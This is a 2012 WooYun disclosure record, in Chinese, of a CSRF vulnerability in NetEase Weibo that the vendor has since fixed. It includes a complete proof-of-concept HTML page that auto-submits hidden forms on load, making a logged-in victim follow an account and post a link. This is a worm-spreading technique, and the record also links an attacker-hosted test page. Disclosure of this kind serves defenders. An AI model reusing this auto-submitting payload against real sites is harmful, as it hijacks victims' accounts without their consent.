当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-05709

漏洞标题:网易微博CSRF漏洞--可造成蠕虫

相关厂商:网易

漏洞作者: PiaCa

提交时间:2012-04-01 00:19

修复时间:2012-05-16 00:20

公开时间:2012-05-16 00:20

漏洞类型:CSRF

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-04-01: 细节已通知厂商并且等待厂商处理中
2012-04-05: 厂商已经确认,细节仅向厂商公开
2012-04-15: 细节向核心白帽子及相关领域专家公开
2012-04-25: 细节向普通白帽子公开
2012-05-05: 细节向实习白帽子公开
2012-05-16: 细节向公众公开

简要描述:

网易微博CSRF漏洞
PS:貌似老早就被人发到wooyun上了,难道我穿越了…………
虽然失眠,精力不好(此处省略1w字)。但应该还是漏洞的。

详细说明:

PS:貌似老早就被人发到wooyun上了,难道我穿越了…………
1、登陆http://t.163.com
2、访问http://50.19.159.231/163.html
3、回到微博首页,自动发微博加关注

漏洞证明:


<html>
<head>
<title>163 weibo csrf test</title>
<script type="text/javascript">
//follow me
function addF(){
document.getElementById("addF").submit();
}
//add twitter
function addT(){
document.getElementById("addT").submit();
}
</script>
</head>
<body onload="addF();addT();">
<form target="addFF" id="addF" method="POST" action="http://t.163.com/relation.do?method=follow">
<input type="text" name="userId" value="-648356100822396112">
<input type="submit" value="go">
</form>
<form target="addTF" id="addT" method="POST" action="http://t.163.com/tweet.do?method=addTweet">
<input type="text" name="content" value="http://163.fm/8tvLr0f">
<input type="submit" value="go">
</form>
<iframe name="addFF"></iframe>
<iframe name="addTF"></iframe>
</body>
</html>

修复方案:

检查referer

版权声明:转载请注明来源 PiaCa@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2012-04-05 10:35

厂商回复:

感谢您对网易的关注,已经修复

最新状态:

暂无